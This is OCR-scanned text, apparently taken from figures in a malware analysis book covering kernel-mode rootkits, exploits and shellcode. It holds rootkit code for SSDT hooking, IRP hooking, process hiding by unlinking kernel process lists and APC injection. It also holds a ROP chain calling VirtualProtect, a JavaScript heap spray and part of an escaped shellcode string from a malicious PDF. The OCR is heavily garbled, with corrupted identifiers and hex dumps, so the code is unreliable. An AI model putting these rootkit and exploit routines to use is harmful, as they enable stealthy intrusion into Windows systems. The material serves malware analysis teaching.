(FESESESBBD2F-4006% | — | | | Quenintertace 0460 dispatch, func, stdcal Void  ridPuGUID, ppvObiP .. 1 0
(FBADB1 31 5Fog4850 | T | | | AddRef 0460 dispatch, func, stdeal  Ul4 1 4
{FRA17938-7873-40468 | - Release 0x80... dispatch, func, stdcal U4 1 8
{18297196-9521-4164-97a | O GetTypelnfoCount 0:460...  dispatch, func, stdcall Void petinfo:Ptr Ulnt 1 12
{18b8412b-dea3-4130+63 | £ GetTypelnfo 0:60...  dispatch, func, stdcal Void  itinfo:Uint, leid:Ul4, pptinf... 1 16
{FBBE2AD5-4E99-3E004 ¢ GetlDsOMames 0x60... dispatch, func, stdcal Void fiid:Ptr GUID, rgszNames:... 1 20
{8c2ab3b-17bc-41da-97 F]' Invoke 0x60... dispatch, func, stdcal Void dispidMember.14, rid:Ptr G.. 1 24
{FBCADCB3-4063-490E+4 | SpecialFolders dispatch, propertyget, st... 0 28
{FBCF7A98-2C45-4c849 t nvilonmen! dispatch, ump:rtyge 32 {BA3SBBYE-A6..
{i8d1daB-Saea-dcad-ba L U
| Popup 0x3E3  dispatch, func, stdcall a 40 X
Sggg??g&%ﬁ;ﬁ W | | | createShorteut KA dispatch, func, stdcal Disp... PathLink Bstr i 44 (B9BCCIF56..
(FEEEIEDD EAZS 4840, | M | | | ExpandEnvionment . DY3EE  disptoh, func, stdcal Bst  SreBsh 0 48
(FBFBBE07-55E6-4BB9-< W RegRead 0x7D0  dispatch, func, stdcall Variant  Name:Bstr 0 52 {438EDB38-26,
(FI0B5F 36-3678-4024-9 <| Regwiite 0x7D1  dispatch, func, stdcall Void  Name:Bstr, Value:Ptr V.. 0 56
FIODFEOC-CEDF-41FF- H“_ RegDelete 0x7D2  dispatch, func, stdcall Void Name:Bstr 0 60
(FIOFE5FE-E99B-4578-9 | | | LogEvent 0x8B8 _ dispatch, func, stdcal Bool Type:Ptr Variant, Messaq... 0 64
Ell hﬁebmsﬁh-‘lcm-ba Functions s | Interfaces
{F91D3I6C7-8503-4D 0B
{Fa35DC22-1CF0-11D0-ADB!{Fy Close {F935DC20-1C...
{F935DC26-1CFO-11D0-4DB I {F935DC201C... v
< >
CLSID | Typel nterface omponent Category eated Objects
Typelib | Intert ApplD | C: C: HKCR | Cr Obj ROT
| 6140 items [ [ready P
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// opens process
HANDLE ProcOpenProcessByNameW( PWSTR ProcessName, DWORD dwDesiredAccess )
{

HANDLE hProcessSnap = INVALID_HANDLE_VALUE;

HANDLE hProcess = NULL;

PROCESSENTRY32W pe32;

DWORD Error = ERROR_FILE_NOT_FOUND;

// Take a snapshot of all processes in the system.
hProcessSnap = CreateToolhelp32Snapshot( TH32CS_SNAPPROCESS, @ );
if( hProcessSnap == INVALID_HANDLE_VALUE )

{

return NULL;

// Set the size of the structure before using it.

pe32.dwSize = sizeof( PROCESSENTRY32W );

// Retrieve information about the first process,

// and exit if unsuccessful

if( !Process32FirsthW( hProcessSnap, &pe32 ) )

{
CloseHandle( hProcessSnap ); // clean the snapshot object
return NULL;

// Now walk the snapshot of processes, and

// display information about each process in turn

do
{
if ( lstrcmpiW (pe32.szExeFile,ProcessName) == @ )
{
if ( ( hProcess = OpenProcess( dwDesiredAccess, FALSE, pe32.th32ProcessID )) == NULL ){
Error = GetLastError();
Jelse{
Error = NO_ERROR;
¥
break;
¥

} while( Process32NextW( hProcessSnap, &pe32 ) );




f/ terminates process by name
rl l'.
i

WIMERROR ProcTerminateProcessh(
LPWSTR Processhame

)
{
WINERROR Status = MNO_ERROR;
HAMDLE hProcess = ProcOpenProcessByMamel(ProcessName, PROCESS TERMIMATE);
if (hProcess)
1
if {!TerminateProcess(hProcess,2))
Status = GetlastError();
CloseHandle{hProcess);
¥
else
Status = GetlastError();
return Status:
¥

E S FOFDFFFF I PTI S: 5
. SO PUSH Ei lParam
004020EC|| . 68 1B1C4000 USH F : [Callbac: = FinFishe.00401C1B
004020F1|| . FFl1lS E2104000
FFBS FOFDFFFF|PUSH DWORI

= Windows PowerShell

PS C:sScripts> Get—UmiObject Win32 ComputerSuystem

Domain springfield. local
Manufacturer UMware, Inc.

Model UMware Uirtual Platform
Hame HPPRO

PrimaryOunerMamne IT

TotalPhysicalMemory 267894784

PS C:sScripts>



Chapter 7: Understanding Kernel-Mode Rootkits

RING O

KERNEL
MODE




System Processes Services Applications

Task Manager

LSASS J svchost.exe

Explorer
Winlogon services.exe User
application 1
User
application 2
User —
application 3 POSIX
Subsystem DLLs Windows DLLs
NTDLL.DLL
User mode
Kemel mode
y
System Service Dispatcher
(Kernel mode callable interfaces) )
= Windows
= User,
[ =, = '
I/0O Manager § % § GDI
£y 8 3
File system 3 3 § Graphic
& Filter drivers 3 ] = drivers
B % =
— Kernel —
Hardware Abstraction Layer (Hal)
[l et (=]
808008007 BER17EA ; Exported entry 257. HtCreateSection
A800000878EA17BA ;: Exported entry 1586. Z2uwCreateSection
AB0AABAOsBEAT7BA
Af0AAAAOsBEA17BA
Af0AAAAOsBEA17BA
f0eeABAA7YBEA17EA public ZwCreateSection
8000008007 BEA17EA ZuCreateSection proc near
800080AB7TREA1YBA 4C BB D1 mouv r18, rcx ; HtCreateSection
A00AAAAOYBEA17YB3 BE 47 OO A8 @ mov eax, 47h
A00AAAAASBEA17YB8 BF A5 syscall
8080086887 BEA17BA C3 retn
BEBABABA7BEA17EA 2uCreateSection endp

AABABABAYBEA1YEA



ZwQueryDirectoryFile
executes the SYSCALL/SYSENTER
instruction while passing the <

The FindFirstFile call

corresponding function
number, N

ZwQueryDirectoryFile

FindFirstFile call

User Mode

h 4

Kernel Mode

The instruction executes a fast call
in kernel mode, transferring

NtQueryDirectoryFile

control to a function with
the number N in SSDT
(in this case, NtQueryDirectoryFile)

sends an IRP request to the
corresponding driver(s)

Driver(s) can process the
request changing the input
or/and the output and
returning the result to the use

User mode

Kernel mode

l

System service call

SYSTEM SERVICE DISPATCHER

SYSTEM SERVICE
DISPATCH TABLE

.. | SSDT

System service 3




User Input

7 1. User-Mode Hooking

CALL FindNextFile ] User Program 2. SYSENTER Hooks
FindNextFile 3. SSDT Hooks
CALL NtQueryDirectoryFile kernel32.dll 4. Code Patching

5. Layered Devices in Chain

NtQueryDirectoryFile: .

MOV EAX, XX Ntdil.dll
SYSENTER
\ B User Mode
v Kernel Mode
Dedicated MSR register .
System Service X »
Dispatcher
Filesystem Driver Stack
. NTFS driver < 1/0 Manager System Service
AV filter driver Dispatch Table
(SSDT)

<—>| NtQueryDirectoryFile |F

_
[~ ]

typedef struct SystemServiceTable
(

DWORD #*KiServiceTable;

DWORD *CounterBaseTable;

DWORD nSystemCalls;

DWORD *KiArgumentTable;
}:
typedef struct ServiceDescriptorTable
(

SystemServiceTable ServiceDescriptor(4);
¥

extern "C" ServiceDescriptorTable* KeServiceDescriptorTable;
VOID SSDTDevice::Initialize(Driver#* driver)

pbriver = driver;
this->Type = _SSDTDEVICE;
}

NTSTATUS SSDTDevice::AttachTo (WCHAR* FunctionName,DWORD newFunction)

this->FuncIndex = GetSSDTIndex (FunctionName) ;

if (this->FuncIndex == ()return STATUS_ERROR;

this->realAddr = KeServiceDescriptorTable->ServiceDescriptor[’].KiServiceTable [this->FuncIndex];
DisableWriteProtection();

InterlockedExchange ( (PLONG) &KeServiceDescriptorTable->ServiceDescriptor([7].KiServiceTable [this->FuncIndex],newFunction) ;
EnableWriteProtection() ;

Attached = true;
return STATUS_SUCCESS;




L e i

" Description :

" Retrieve KeServiceDescriptorTable address

" Parameters :

" None

" Return value :

" ULONGLONG : The service descriptor table address

" Process :

" Since KeServiceDescriptorTable isn't an exported symbol anymore, we have to retrieve it.

" When looking at the disassembly version of nt!KiSystemServiceRepeat, we can see interesting instructions :

" 4c8d15¢7202300 lea r1@, [nt!KeServiceDescriptorTable (addr)] => it's the address we are looking for (:
" 4c8d1dee21230@ lea rll, [nt!KeServiceDescriptorTableshadow (addr)]

" 7830001000080 test dword ptr[rbx+18eh], 8eh

"

" Furthermore, the LSTAR MSR value (at Bx(6800882) is initialized with nt!KiSystemCallé4, which is a function
" close to nt!KiSystemServiceRepeat. We will begin to search from this address, the opcodes @x83f7, the ones

" after the two lea instructions, once we get here, we can finally retrieve the KeServiceDescriptorTable address

R
ULONGLONG GetKeServiceDescriptorTable64()

{
PUCHAR pStartSearchAddress = (PUCHAR)_ readmsr(0xC0000082);
PUCHAR pEndSearchAddress = (PUCHAR)( ((ULONG_PTR)pStartSearchAddress + PAGE_SIZE) & (~@x@FFF) );
PULONG pFindCodeAddress = NULL;
ULONG PTR  pKeServiceDescriptorTable;
while ( ++pStartSearchAddress < pEndSearchAddress )
{
if ( (*(PULONG)pStartSearchAddress & @xFFFFFFe@) == @xa3f7ee00 )
{
pFindCodeAddress = (PULONG) (pStartSearchAddress - 12);
return (ULONG_PTR)pFindCodeAddress + (((*(PULONG)pFindCodeAddress)>>24)47) + (ULONG_PTR)(((*(PULONG)(pFindCodeAddress+1))
}
}
return @;
}

typedef struct _IRP {

CSHORT Type;
USHORT Size;
PMDL MdlAddress;
ULONG Flags;
union {

struct _IRP *MasterIrp;

__volatile LONG IrpCount;

PVOID SystemBuffer;
} AssociatedIrp;
LIST_ENTRY ThreadListEntry;
I0_STATUS_BLOCK IoStatus;
KPROCESSOR_MODE RequestorMode;
BOOLEAN PendingReturned;
CHAR StackCount;
CHAR CurrentLocation;
BOOLEAN Cancel;



for(i = @; i <= IRP_MJ_MAXIMUM_FUNCTION; i++ )
{

DriverObject->*MajorFunction[i] = IRPDispatchRoutine;

¥
DriverObject-»*MajorFunction[IRP_MJ_FILE_SYSTEM _COMTROL] = OnFileSystemControl;
DriverObject->*MajorFunction[IRP_MI_DIRECTORY_CONTROL] = OnDirectoryControl;

NTSTATUS HookedMjCreate (IN PDEVICE OBJECT DeviceObject, IN PIRP Irp)
i

PIO STACE LOCATION irpStack;

ULONG loTransferType;

// Get a pointer to the current location in the TIRP. This is where

// the function codes and parameters are located.

irpStack = IoGetCurrentIrpStackLocation(Irp);
switch (irpStack->MajorPFunction)

{

: case IRP_MJ CREATE:

// Filter only files containing _root_

if (irpStack->»FileObject != NULL && irpStack->FileCbject->FileName.Length > 0 && wcsstr(irpStack—>
FileObject—>FileName.Buffer, L" root_ ") != NULL)
{

DbgPrint (" [HOOR] File: %ws\n", irpStack->»>FileObject->FileName.Buffer) ;

RtlInitUnicodeString (&DestinationString, L"\\Filesystem\\FastFat");
Status = (*ObReferenceObjectByName) (&DestinationString, 0x40,0,0,*IoDriverobjectType, 0,0, (PVOID) &FileSystemObj) ;
if (Status!=STATUS_ SUCCESS)
{
return;

¥
TargetDevice = ((ReferencedObject*)FileSystemObj)->DeviceObject;
if (IoAttachDeviceToDeviceStack(SourceDevice,TargetDevice) == STATUS SUCCESS)
{

return TRUE;
¥

lkd> dt EPROCESS

nt! EPROCESS
+8xee8 Pch : _KPROCESS
+8x438 ProcesslLock : _EX_PUSH_LOCK
+8x446 UniqueProcessId : Ptred Void
+8x448 ActiveProcessLlinks : LIST ENTRY
+8x458 RundownProtect : _EX_RUNDOWN REF
+8x468 Flags2 : Uint4B
+8x468 JobNotReallyActive : Pos @8, 1 Bit
+8x468 AccountingFolded : Pos 1, 1 Bit
+8x468 NewProcessReported @ Pos 2, 1 Bit
+8x468 ExitProcessReported : Pos 3, 1 Bit
+8x468 ReportCommitChanges : Pos 4. 1 Bit




lkd> dt ETHREAD

nt! ETHREAD
+8xBed Tcb : _KTHREAD
+8x438 CreateTime : _LARGE_INTEGER
+8%438 ExitTime : _LARGE_INTEGER
+8x438 KeyedWaitChain : _LIST ENTRY
+8x448 PostBlockList : _LIST ENTRY
+8x443 ForwardlLinkShadow : Ptré4 Void
+8x458 StartAddress : Ptréd4 Void
+8x458 TerminaticnPort : Ptr64 TERMINATION PORT
+8x458 ReaperLink : Ptré4 ETHREAD
+8x458 KeyedWaitValue : Ptre4 Void

+@x468 ActiveTimerListlock : UintsB

+8x468 ActiveTimerListHead : LIST ENTRY

+8x478 Cid : _CLIENT_ID

+8x488 KeyedWaitSemaphore : KSEMAPHORE

+8x488 AlpcWaitSemaphore :  KSEMAPHORE

+Bx4ad ClientSecurity : PS5 CLIENT SECURITY CONTEXT
+8x4b® IrplList : LIST ENTRY

tht

Go through the EPROCESS structure and look for the PID
we can start at @x20 because UniqueProcessId should
not be in the first 8x28 bytes,

also we should stop after @x38@ bytes with no success

*/

for (int 1 = 0x20; i<Bx300; i += 4)
{
if ((*(ULONG *)((UCHAR *)eprocs[@] + i) == pids[@])
&% (*(ULONG *){(UCHAR *)eprocs[1l] + i) == pids[1])
&& (*(ULONG *)({(UCHAR *)eprocs[2] + i) == pids[2]))

pid ofs = i;

break;



void remove links({PLIST_ENTRY Current) {

PLIST ENTRY Prewvious, MNext;

Previous = (Current->Blink);

Mext = (Current-»>Flink);

// Loop over self (connect previous with next)
Previous-»>Flink = Next;

Mext-»>Blink = Previous;
// Re-write the current LIST_ENTRY to point to itself (avoiding BSOD)
Current-»Blink = (PLIST_ENTRY)&Current->Flink;

Current-»Flink = (PLIST_ENTRY)&Current->Flink;

return;

EPROCESS EPROCESS EPROCESS

ActiveProcessLinks ActiveProcesslLinks ActiveProcessLinks
(_LIST_ENTRY) (_LIST_ENTRY) (_LIST_ENTRY)

FLINK FLINK FLINK
BLINK BLINK BLINK




-text:80011F 82 GetProcess proc near ; CODE XREF: AttachProcess+11%p
-text:aae11Fa2 ; GetProcessInfo+16Tp
-text:ae811F a2

-text:80011F B2 Processld = dword ptr 8

-text:00811F 82

-text:aoe11Faz push ebp

-text:aa@011F 83 mou ebp, esp

-text:808811F B85 push esi

-text:00011F 86 lea esi, [ebx+4]

-text:00011F 89 and dword ptr [esi], @
-text:@a@011FBCc cmp dword ptr [edi], @
-text:@8011F BF mov byte ptr [ebx], @
text:aae11F12 jnz short loc_11F33
-text:-808011F14 push esi

text:a@011F15 push [ebp+Processid]
text:00011F18 call ds:PsLookupProcessByProcessid
-text:a8811F1E test eax, eax

-text:@@e11F28 mov [edi], eax

-text:@a@o11F22 jnz short loc_11F33
-text:88811F24 cmp [esi], eax

-text:00011F26 jnz short loc_11F30
-text:-@@011F28 mou dword ptr [edi], BCOO808881hH
-text:88011F2E jmp short loc_11F33

et BBAB1IF3E ;
-text:-@808811F30

-text:80011F38 loc_11F38: ; CODE XREF: GetProcess+241§
-text:@80011F38 mov byte ptr [ebx], 1

text:a808811F33

-text:-@88011F33 loc_11F33: CODE XREF: GetProcess+187%j

text-08811F33 H GetPruc955+ZﬂTj _—
text:080011F33 mou eax, ebx

-text:-00011F35 pop esi

-text:@8011F36 pop ebp

text:88011F37 retn L}

.text:800811F37 GetProcess endp

-text:-00011F37
text:00811F3A



-text:88811D3C ; int _ stdcall AttachProcess{int Buffer, int ProcessId)
proc near ; CODE SREF: attachProcessFunc+

.text:A8011D3C AttachProcess
text:a86811D3C
text:08811D3C
.text:88611D3C Buffer
.text:886811D3C Processld
-text:a86811D3C
text:886811D3C
-text:88811D3D
text:08811D3F
text:08611D48
.text:a8611D41
text:08611D44
-text:-a86811D47
text:086811D4A
-text:08811D4D
-text:B886811D52
text:08611D54
-text:08611D57
-text:086811D58
-text:-a86811D5%A
-text:886811D5C
-text:88811D5E
text:886811D61
text:08611D64
-text:88611D45
text:00811Db46
-text:A8611D68
text:00811D469
text:08811D4C
-text:88811D72
text:88811D75
-text:80011D75 loc_11D75:
text:886811D75
-text:-aae811D77
-text:086811D78
.text:886811D78 AttachProcess

| ; sub_114ca+26tp

= dword ptr 8

push
mow
push
push
push
mowv
lea
mowv
call
push
lea
pop
sor
mou
rep
mowv
cmp
pop
pop
jnz
push
push
call
mowv

mou
pop

retn
endp

dword ptr BCh

ebp

ebp, esp

ebx

edi
[ebp+ProcessId] ; ProcessId
edi, [ebp+Buffer]
ebx, [esi+h]

byte ptr [esi], B
GetProcess

i]

edx, [esi+BCh]
eCX

eax, eax

edi, edx

stosd

eax, [ebp+Buffer]

dword ptr [eax], 8

edi

ebx

short loc 11D75

edx ; Apcitate

dword ptr [esi+8] ; Process
ds:KeStackAattachProcess ; HeStackAttachProcess
byte ptr [esi], 1

; CODE XREF: HttachPrDCESS+ZHTj
eax, esi
ebhp
g



BOOLEAN ProcessDevice::Execute (DWORD Entrypoint, PVOID Context)

{

NTSTATUS ntStatus;

PKAPC pkaApc;

PETHREAD PEThread;
UNICODE_STRING routineName;

if (Tid == NULL || Entrypoint == NULL)return FALSE;
ntStatus = PsLookupThreadByThreadId((HANDLE)Tid,&PEThread);
if(ntStatus != STATUS_SUCCESS)
{

DbgPrint("PsLookupThreadByThreadld failed");

return FALSE;

RtlInitUnicodeString(&routineName, L"KeInitializeApc");
KeInitializeApc =(INITIALIZE_APC)MmGetSystemRoutineAddress(&routineName);

RtlInitUnicodeString(&routineName, L"KeInsertQueueApc");
KeInsertQueueApc =(INSERTQUEUE_APC)MmGetSystemRoutineAddress(&routineName);

if (KeInitializeApc == NULL || KeInsertQueueApc == NULL)
{
DbgPrint("Getting APC Functions Address Failed");
return FALSE;

pkaApc= (PKAPC)malloc(sizeof(KAPC));
if(pkaApc!=0)
{
KeInitializeApc(pkaApc,PEThread,@,ApcKernelRoutine,, (PKNORMAL_ROUTINE)Entrypoint,UserMode,Context);
KeInsertQueueApc(pkaApc,@,0,10_NO_INCREMENT);
return TRUE;

return FALSE;




'EE} winxp - Settings [} x
P g

E General Serial Ports

Systemn Port 1 Port 2 Port 3 Port 4

Display Enable Serial Port

Port Mumber: |COM1 * | IRQ: (4 | [fOPort: [0x3F8
Storage
Port Mode: | Host Fipe hd
Audio
[] Connect to existing pipe/socket

8]
[
02
P Network Path/Address: [\l \pipe\com1
£>
&
]
=

Serial Ports

UsB

Shared Folders

Uszer Interface

Cancel

istrator

HE(B T ¢ |00 EEEDEE Cppm

3) MP (2 procs) Free x83 compatible
serTS Personal

o your debug:

THIS IS NOT A BUG OR A SYSTEM CRASH




4 Choose process to attach to

1ol x|

i <Kernel>

Cancel Search Help

OK
Line 1 of 1
0: kd> sxe id:evimalvare.sys
0:kd>g
nt!DebugService2+0x10:
80505e48 cc int 3
0: kd> Im
start end module name
80447000 £0700000 nt (pdb symbols)

f7dd2000 f7dd3080 evimalware (deferred)

Unloaded modules:

0: kd> .shell ci "!dh evilmalware™ findstr entry
<.shell waiting 10 second(s) for process>
€8C address of entry point
.shell: Process exited
0: kd> u f7dd2¢eC
evilmalware+0xte:

f78d288¢ 55 push ebp

f7dd288d Sbec mov  ebp.esp

7332881 82eclec sub esp,0Ch

f7dd2872 53 push ebx

7842873 57 push edi

7442874 6852284417 push offset evimalwvare+0x852 (f7dd2852)
7842879 844514 lea  eax,[ebp-0Ch]

f7dd287¢ 50 push eax

c:\symbols\ntkrn Q: kd> bp f7dd288C

0: kd>g
Breakpoint 0 hit
evimalware+0xt&c:

£4722000 4803000 kmixer.sys f7dd288¢ 55 push ebp
7338000 f7341000 HIDCLASS.SYS
£781c000 f761f000 hidusb.sys IO SRdS “

76818000 f76106000 mouhid.sys

= dword
805831377 3bc3 Cmp 2ax, ebhx
80581379 8bAdedffffff mowr eck,dwvord ptr [ebp—-98h]
80583137f 8945ac mow dword ptr [ebp-54h].esax

kdr .shell —ci "uf «c nt!IoploadDriwver" grep -B 1 -1 "call  *ptr [ .*h"
nt ! IopLoadDriver+0xtba (805831374
unreszolwvable call: czall dvord ptr [edi+2Ch]
.shell: Process exited
kd: bp nt!IopLloadDriver+(lx66a
kd: g
Breakpoint 0 hit
nt ! IopLloadDriver+lxtba:
20581374 f£572c

call dword ptr [edi+2Ch]

w1 Ima lware.

rnel binpath=




Chapter 8: Handling Exploits and Shellcode

Stack:

Buffer[80] EBP RET

[« > i< > < q
80 Bytes 4 Bytes 4 Bytes

ptr to
other data shellcode

— P —>
I 34 Bytes 50 Bytes 4 Bytes

|

Shellcode

LIST ENTRY* NextItem, Previtem;

//Get the next and the previous variable in heap
NextItem = ThisItem->FLink;
Previtem = ThisItem->BLink

/*remove ThisItem from the list by linking the
previous and the next together */

NextItem->BLink = PrevItem;

Previtem->FLink = NextItem;

00401080 ES 00000000 CALL api DbgB.00401085
00401085 58 FOF EAX

O0F61470 v EB 06 jmp acrord32.F61478
O0F61472 58 pop eax

0O0F61473 83C0 2C add eax,2C

O0F61476 v EB 05 jmp acrord32.F6147D
0O0F61478 E8 FSFFFFFF call acrord32.F61472

00F6147D 8BFO mov esi,eax



AddressOfNames (4 bytes) AddressOfNameOrdinals (2 Bytes) AddressOfFunctions (4 Bytes)

1. CreateFile 1—»3 1
2 2—r1 2
3 3—2 3.Kernel32. CreateFile

void cPEFile::initExportTable()
{
ExportTable.Functions = NULL;
DWORD ExportRVA = PEHeader->optional.data_directory[@].virtual_address;
memset(&ExportTable,8,sizeof (EXPORTTABLE));
if (ExportRVA == NULL)return;
image_export_directory* Exports = (image_export_directory*)(RVAToOffset(ExportRVA)+BaseAddress);

ExportTable.nlNames = Exports-»>number_of_names;

ExportTable.nFunctions = Exports->number_of_functions;

ExportTable.Base = Exports->base;

ExportTable.pFunctions = (PDWORD)(RVAToOffset(Exports->address_of_functions)+BaseAddress);
ExportTable.plames = (PDWORD) (RVAToOffset(Exports->address_of_names)+BaseAddress);
ExportTable.plamesOrdinals = (PWORD)(RVAToOffset(Exports-»>address_of_name_ordinals)+BaseAddress);

ExportTable.Functions = (EXPORTFUNCTION*)malloc(sizeof(EXPORTFUNCTION) * ExportTable.nFunctions);

for (DWORD i =8;i<ExportTable.nFunctions;i++)

{
if (i < ExportTable.nlames)
{
ExportTable.Functions[i].funcName = (char*)(DWORD*)RVAToOffset(ExportTable.pNames[i]) + BaseAddress;
ExportTable.Functions[i].funcOrdinal = ExportTable.pNamesOrdinals[i];
¥
else
{
ExportTable.Functions[i].funcName = NULL;
ExportTable.Functions[i].funcOrdinal = i;
¥
ExportTable.Functions[i].funcRVA = ExportTable.pFunctions[ExportTable.Functions[i].funcOrdinal];
ExportTable.Functions[i].funcOrdinal++;
}



def create rop chain():
# rop chain generated with mona.py - www.corelan.be

rop_gadgets = |

@x61ba8bSe, # POP EAX # RETN [Qt5Gui.dll]

Px696398a8, # ptr to &irtualProtect() [IAT (QtS5Core.dll]
@x61bdd7f5, # MOV EAX,DWORD PTR DS:[EAX] # RETN [Qt5Gui.d11]
Ox68aef542, # XCHG EAX,ESI # RETN [Qt5Core.dll]
Ox68bfebbb, # POP EBP # RETN [Qt5Core.dll]

Ox68f82223, # & jmp esp [Qt5Core.dll]

@x6d9f7736, # POP EDX # RETN [Qt55ql.d11]

@xfHffdf+, # Value to negate, will become Bx08088281
Ox6ebd7092, # NEG EDX # RETN [libgcc s dw2-1.d11]
Ox61e870e6, # POP EBX # RETN [Qt5Gui.dll]

@xfHHHHff, #

Px6284f463, # INC EBX # RETN [Qt5Gui.dll]

Ox68f8063c, # ADD EBX,EDX # ADD AL,0A # RETN [Qt5Core.dll]
@x6lecddae, # POP EDX # RETN [Qt5Gui.dll]

@xffHffcB, # Value to negate, will become Bx02828048
@x6ebd7092, # NEG EDX # RETN [libgcc_s_dw2-1.d11]
@x61e2a807, # POP ECX # RETN [Qt5Gui.d11]

@x6eb573c9, # &Writable location [libgcc s dw2-1.d11]
Ox61e85d66, # POP EDI # RETN [Qt5Gui.dll]

@x6d9e431c, # RETN (ROP NOP) [Qt5Sql.dll]

@x61ba8ce5, # POP EAX # RETN [Qt5Gui.d11]

298989898, # nop

@x61b6b8d6, # PUSHAD # RETN [Qt5Gui.dll]

return "' .join(struct.pack( <I', _) for _ in rop_gadgets)



HWND test = CreateWindowEx(
a,
wnd.lpszClasshame,
TEXT( "WORDS"),
a,
CW_USEDEFAULT,
CW_USEDEFAULT,
CW_USEDEFAULT,
CW_USEDEFAULT,
MULL, MNULL, NULL, NULL);
PTHRDESKHEAD tagWWND = (PTHRDESKHEAD)pHmValidateHandle(test, 1);

#ifdef _WING4

printf("Kernel memory address: @x%1lx, tagTHREAD memory address: 8x%11lx\n", tagWND->pSelf, taghND->h.pti);
#else

printf("Kernel memory address: @x%X, tagTHREAD memory address: @x¥X{\n", tagWND->pSelf, tagWND->h.pti);
#endif

nops = unescape (' uS050%5u5090%) ;
s = shellcode.length + =0;
while (nops.length < s)
nops += nops;
f = nops.substring (0, s):
block = nops.substring(l, nops.length - s);

while (block.length + s < U0=40000)
block = block + block + £;

memory = new Arravy();

for (counter = [; counter < Z:-0; counter++)
memory [counter] = block + shellcode;

ret = '';

for (counter = [; counter <= 1000; counter++)

o

ret += unescape("Tlas0zazlasla"™);



OLE HEADER:

L ettt b e e R e +
|Attribute |Description |
L et e Rt e +
|OLE Signature (hex) |DOCF11E@A1B11AE1 | Should DOCF11E@A1B11AE1

|Header CLSID | | Should empty (0)

|Minor Version |@03E | Should 003E

|[Major Version | 0003 | Should 3or4a

|Byte Order | FFFE | Should FFFE (little endian)
|Sector Shift | 0009 | Should 0009 or 000C

|# of Dir Sectors le | Should @ if major version is 3

|# of FAT Sectors |1 |

|First Dir Sector | 0000002E | (hex)

| Transaction Sig Number |© | Should 0

|[MiniStream cutoff | 4096 | Should 4096 bytes

|First MiniFAT Sector | 00000030 | (hex)

|# of MiniFAT Sectors |1

|First DIFAT Sector | FFFFFFFE

|# of DIFAT Sectors

DO C 0-A” | 1A E1-00 00 00 00-00 00 00
00 00 Of 00 00-3E 00 ¢ 1% 09
06 00 006 ﬂf f@ PO 00 PO-00 OO 0O 0O-01 00 00
2E Ij ‘j 00 PO 00 00-00 10 00 00-30 00 00
01 51% UH_FE FF FF FF-00 00 00 0012D 00 00
Xa FF P Frr-FF FF FF FFE-FF FF FF FF-FF FF FF FF

00005600
<Data>

2D J[FAT Sector |00 CW(!FFFFFFFDI
2E|<Data> Eﬁ(’ ZF‘
)00 | FFFFFFFE]|




OLE HEADER:

|OLE Signature (hex) | DOCF11E@A1B11AE1 | Should
|Header CLSID

|[Minor Version

|[Major Version

|Byte Order

|Sector Shift | 0009

|# of Dir Sectors

|# of FAT Sectors

|First Dir Sector

| Transaction Sig Number |@
[MiniStream cutoff |40

First MiniFAT Sector |00

# of MiniFAT Sectors |1

|First DIFAT Sector | FFFFFFFE
|# of DIFAT Sectors

| Should
| Should
| Should
| Should
| Should
| Should

DOCF11EPA1B11AE1
empty (@)

003E

3or4d

FFFE (little endian)

e 0009 or 000C
e @ if major version is 3

0

e 4096 bytes




|Sector #|Type

0| <Data>
1|<Data>
2| <Data>
3|<Data>
4|<Data>
5| <Data>
6| <Data>
7| <Data>
8| <Data>
9|<Data>
A|<Data>
B|<Data>

C|End of Chain|000

|Offset |Next #

$-——————- e - $-——————- +

| 00000200 |
| 00000400 |
| 00000600 |
| 00000800 |
| 00000A00 |
| 0000000 |
| 00R0OEQ |
| 00001000 |
| 00001200 |
| 00001400 |
| 00001600 |
| 00001800 |

01A00 | FFFFFFFE |



Name

cumentSummaryIntc

yummaryInformation

000OSDEO: | FF-f F I == FF FF FF
00005 D : r FF-FF f E EWEE<EE F FF FF
00005 PO 6 00-6F P0-20 00 45 00-6E 00 74 00
0000~ . 72 00 7 00-00 00 00 00-00 00 0O 0D-00 0O 00 0O
00005 - 00 00 00 00-00 00 00 00-00 OO OO 0O-00 00 0O 0O
POOOSE3 00 00 00 00-00 OO OO 0O-00 PO OO PO-00 0O 0O 0O
PPOOSEAL0: 16 90 05 @ f FF FF FF FF F F 03 00 00 00
00005 D - 06 09 02 OO-00 00 OO 0O-CO OO OO PO-00 OO 00
POOOSELE 00 00 00 PO-00 00 PO 0O-00 OO 0O PO-40 CE (¢ 34
POOOSET/0O: 96 0A ( 01-31 00 00 00-80 OO 00 OO-00 PO 0O 00
44 00 1 90-74 00 ¢ 00-00 00 00 PO-00 0O 0O 0O

00 00 00 00-00 OO 0O 00O-00 00 0O PO-00 00 0O 00O

PICTURE

re iont

3 000000000 20000000

b11ae100000000000000000000000000000000 3 9900060000000000000000000

Y0000001000000000000000010000002000000010000001 f0000000000000000




00000180
000001CO:
000001D0 :
0000V 1ED:
000001FO:
00000200 :
00000210
00000220
00000230
00000240
00000250 :

ww N W

) = N W
BB wowobN

A Moo
AR D

23$#BCHH#SH#HHHE" 22
CiHHHH#S S #HTRSEDFS
bF#F$6#F#F#F#BB6
B6C&B6F$b6BO6F#dit
db4b6F#F#d#db4b6
%PDF -1 . 58%1 Va3
0 obj=m<< /Lengt
h 40 R= JEI1E
er /FlateDecode=
>>@stream@Exf+I*Y
r04PH/V1»0Up rree




<<
SS

N C
sth 195
~ /FlateDecode

endstream
endobj




. PDFStreamDumper - http://sandsprite.com  FileSize: 72 Kb LoadTime: 1.404 seconds L= e X
Load Exploits_Scan ipt Ul U pe_Selecti M |_Escap Update_Current_Stream Goto_Object Search_For Find/Replace Tools Help_Videos
45 Objects ___ “ |Ifunction re (count,what) -

25 0xSB-OxFE
26 0x15B-0x185
2 HLen: 0x12
3 HLen: 0x8
4 HLen: 0x24
6 HLen: 0xDD
9 HLen: Ox1E
11 HLen: OxE8
14 HLen: 0x7C
16 HLen: OxES
18 HLen: OxBD
19 0x7BD-0x82F
20 HLen: Ox8A

: 0x12

{
lvar v = n"v;

while (--count >= 0)

'v += what; £
return v;

}
function sopen()
{
sc = unescape ("$uc933%ub966%ull7c¥ulbeb%us565e%ufe8b%ub66actu612diu6600%uelcl®
u6604%ud08b%u2cactu66613uc203%udaatuea75%ue8c3tuffe0IuffffIu66663ubc59%ubds£fs
u6459%u6d5£f%u6d66%u64663ub67663u6866%u685d%u66653Uu61603u6262%u6161%u6161%3u6161%
u6a5f3u6£62%u6261%u6161%u6161%u7059%3u66653u6d603u6567%u625b%u6164%u6161%u6161%
